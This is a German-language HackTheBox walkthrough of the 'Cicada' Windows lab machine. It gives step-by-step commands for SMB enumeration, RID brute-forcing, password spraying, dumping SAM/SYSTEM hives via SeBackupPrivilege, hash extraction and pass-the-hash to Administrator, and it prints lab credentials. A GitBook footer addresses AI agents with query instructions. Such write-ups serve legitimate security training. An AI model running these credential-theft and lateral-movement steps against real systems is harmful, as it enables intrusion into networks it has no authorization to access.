> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md).

# Cicada HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/Cicada>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SMB-Aufzählung (RID-Brute)
* Informationsleckage (Benutzerbeschreibung) (netexec)
* Privilegieneskalation (SeBackupPrivilege)
* SAM-Extraktion (pypykatz)
* Pass-the-Hash (EvilWinRM)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/b140fd9155288b9eaecc1112cd00bb4bc68448c6" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/5d1c0ed164151cd7ba8b7d2b18554b1779ff4c2e" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts
```

<figure><img src="/files/a8367d8b924c446a0f39cff720f2039c07d5c334" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwendung der Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

<figure><img src="/files/76fa7dce6787aecb6a1ab3b2157c1ecdba45c1cd" alt=""><figcaption></figcaption></figure>

Port- und Versionsscan mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted
```

<figure><img src="/files/613c4a29629d305432897cb118aa0d54a4a2cf9b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d010589b9462aa8363d7548199176886d339eadd" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei ein:

<figure><img src="/files/c035caf83d1e8d4bc170622b0e45ebcf73e6fde4" alt=""><figcaption></figcaption></figure>

### Port 445 - SMB

**SMB-Auflistung mit smbmap**

Um freigegebene Ressourcen mit einer Null-Session aufzulisten:

```bash
smbmap -H 10.10.11.35 -u 'null'
```

<figure><img src="/files/c534ac52274dd42284adb6a2e71653d2b69e74ab" alt=""><figcaption></figcaption></figure>

Das **HR** Der Ordner enthält eine interessante Textdatei. Wir untersuchen ihren Inhalt:

```bash
smbmap -H 10.10.11.35 -u 'null' -r HR
```

<figure><img src="/files/48d706885a16144b3782732bd31c151e7e422bbf" alt=""><figcaption></figcaption></figure>

**Datei herunterladen**

Wir greifen auf die Freigabe zu und laden die Datei herunter:

```bash
smbclient //10.10.11.35/HR -N
get "Notice from HR.txt"
```

<figure><img src="/files/9f18dcbaec17453724a323512a13d65756faabf6" alt=""><figcaption></figcaption></figure>

Die Datei enthält ein Passwort

* Passwort: `Cicada$M6Corpb*@Lp#nZp!8`

<figure><img src="/files/69efb367614387c884a4f1d0b2e747c7146a1771" alt=""><figcaption></figcaption></figure>

## RID-Brute-Liste

#### Um Benutzer der Domäne zu identifizieren, führen wir einen RID-Brute-Angriff durch:

```bash
crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute
```

> Das `--rid-brute` Parameter wird verwendet, um einen /*/* Brute-Force-Angriff/*/* auf **RID (Related Identifiers)** Benutzer in einer Windows-Domäne. Eine RID ist Teil der eindeutigen Kennung eines Benutzers in einem Windows-System und wird im Allgemeinen zur Identifizierung von Benutzerkonten und Gruppen verwendet

<figure><img src="/files/1a28fcf8f5be5e5372021796dc3ded1719122bca" alt=""><figcaption></figcaption></figure>

Hier ist die Liste der gefundenen Benutzer:

```
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

#### Benutzervalidierung

Wir testen das für alle Benutzer gefundene Passwort:

```bash
crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

Der Benutzer **michael.wrightson** verwendet dieses Passwort.

<figure><img src="/files/8b72d38466ee9660d7148b723ccfd28020608133" alt=""><figcaption></figcaption></figure>

### Benutzer Michael:

### Aufzählung mit netexec

Wir verwenden **michael.wrightson** Anmeldedaten, um weiter zu untersuchen:

```bash
netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
```

<figure><img src="/files/f753c126b0a4f12ec38f1f7190f1179566038fa1" alt=""><figcaption></figcaption></figure>

Dies enthüllt das Klartextpasswort des Benutzers **david.orelious**:

* Benutzername: `david.orelious`
* Passwort: `aRt$Lp#7t*VQ!3`

/*/Validierung und SMB-Aufzählung mit den Anmeldedaten in //* **david.orelious**

### Wechsel zu Benutzer David

Wir validieren die IDs von david.orelious mit CrackMapExec:

```bash
crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
```

<figure><img src="/files/43354d30dd1a6175cfa4391cd5dc75ed050a7469" alt=""><figcaption></figcaption></figure>

Dann untersuchen wir die auf dem Ziel zugänglichen SMB-Freigaben mit smbmap:

```bash
smbmap -H 10.10.11.35 -u david.orelious
```

<figure><img src="/files/d223a0a67ea310a3f29dadc2b3b9b670d6189d2f" alt=""><figcaption></figcaption></figure>

Anschließend verbinden wir uns mit smbclient mit der DEV-Freigabe:

```bash
smbclient //10.10.11.35/DEV -U david.orelious
```

In dieser Freigabe finden wir ein Skript mit dem Namen backup/script.ps1.

<figure><img src="/files/887db6f956a881c81cfc6a9e9bf9899c2dbcb544" alt=""><figcaption></figcaption></figure>

### Wechsel zu Benutzer Emily

Wir laden das Skript backup/script.ps1 mit dem get-Befehl herunter und entdecken die Benutzer-ID emily.oscars

* Benutzername: emily.oscars
* Passwort: Q!3\@Lp#M6b/\*7t/\*Vt

<figure><img src="/files/f335b6430fe7db1177bd8c94b0372295d43185ce" alt=""><figcaption></figcaption></figure>

Wir validieren diese Anmeldedaten mit CrackMapExec:

```bash
crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

Dann verbinden wir uns mit Evil-WinRM mit der Maschine:

```bash
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

<figure><img src="/files/3d9efca5eb5e5ec88f7d6783b29d562637f687f6" alt=""><figcaption></figcaption></figure>

### Flagge user.txt

Wir holen die Flag aus der Datei user.txt.

<figure><img src="/files/1677551355ad1a8f9c468a26bb37e3ba5c178c0e" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### whoami /priv - SeBackupPrivilege

{% embed url="<https://starlox.medium.com/windows-privesc-with-sebackupprivilege-enable-b9e949219caf>" %}

**Prüfung der Privilegien**

Zunächst prüfen wir die Privilegien des aktuellen Benutzers. Führen Sie den folgenden Befehl aus, um zu überprüfen, ob der Benutzer das `SeBackupPrivilege` Privileg besitzt:

```bash
whoami /priv
```

<figure><img src="/files/0ac2a7957fbfd384fd88ae3e1e8593c2a3a93483" alt=""><figcaption></figcaption></figure>

**Benötigte DLL-Dateien herunterladen**

Um diese Privilegien auszunutzen, laden Sie die DLL-Dateien auf die Opfermaschine herunter. Sie sind verfügbar [hier](https://github.com/giuliano108/SeBackupPrivilege).

1. **SeBackupPrivilegeCmdLets.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll>" %}

2. **SeBackupPrivilegeUtils.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll>" %}

Laden Sie diese Dateien mit den folgenden Befehlen auf die Maschine des Opfers hoch

```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/6a108510b1fe6d76359e06628a630f17d49b86dd" alt=""><figcaption></figcaption></figure>

**DLL-Module laden**

Sobald die DLL-Dateien heruntergeladen sind, laden Sie sie mit den folgenden Befehlen in die PowerShell-Sitzung:

```powershell
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

**Sichern Sie die SAM- und SYSTEM-Dateien**

Wir speichern nun die `SAM` und `SYSTEM` Dateien, die die Benutzeridentifikationsinformationen enthalten. Verwenden Sie die folgenden Befehle, um sie zu speichern:

```powershell
reg save hklm/sam sam
reg save hklm/system system
```

<figure><img src="/files/f27c605b73d9f38ebf1517cf58ea58f5671348e6" alt=""><figcaption></figcaption></figure>

**SAM- und SYSTEM-Dateien herunterladen**

Nachdem Sie die Dateien gespeichert haben, können Sie sie auf Ihre virtuelle Maschine (VM) herunterladen, um sie zu analysieren:

```powershell
download sam
download system
```

<figure><img src="/files/e186c4cbeca1b7cefba93261a950aba617707a89" alt=""><figcaption></figcaption></figure>

### **Hashes aus der SAM-Datei extrahieren**

Verwenden Sie `samdump2` um Hashes aus `SAM` und `SYSTEM` Dateien zu extrahieren:

```bash
samdump2 system sam
```

<figure><img src="/files/5b30148616d0481131af92a57c82c83314742cea" alt=""><figcaption></figcaption></figure>

Wenn dieser Befehl nicht funktioniert, können Sie `pypykatz` ausprobieren, um die Hashes direkt zu extrahieren:

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/22ec494ee7a3a7f7a7b945d5834ef2a81823d909" alt=""><figcaption></figcaption></figure>

Dies sollte einen gültigen Hash liefern, zum Beispiel:

* Hash: `2b87e7c93a3e8a0ea4a581937016f341`

### **Pass-the-Hash mit Evil-WinRM**

Jetzt, da Sie den Hash haben, können Sie ihn verwenden, um einen "Pass-the-Hash" durchzuführen und sich mit dem Zielsystem zu verbinden, indem Sie `evil-winrm`:

```bash
evil-winrm  -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/47e23222d51b377e5a994cccf841746293377c54" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/85fd93c8ebdb50d26aebc1b76b846c5e3b893595" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/551b9abdd3668c42aa9c9c3097f1c7f7f4d1ea43" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
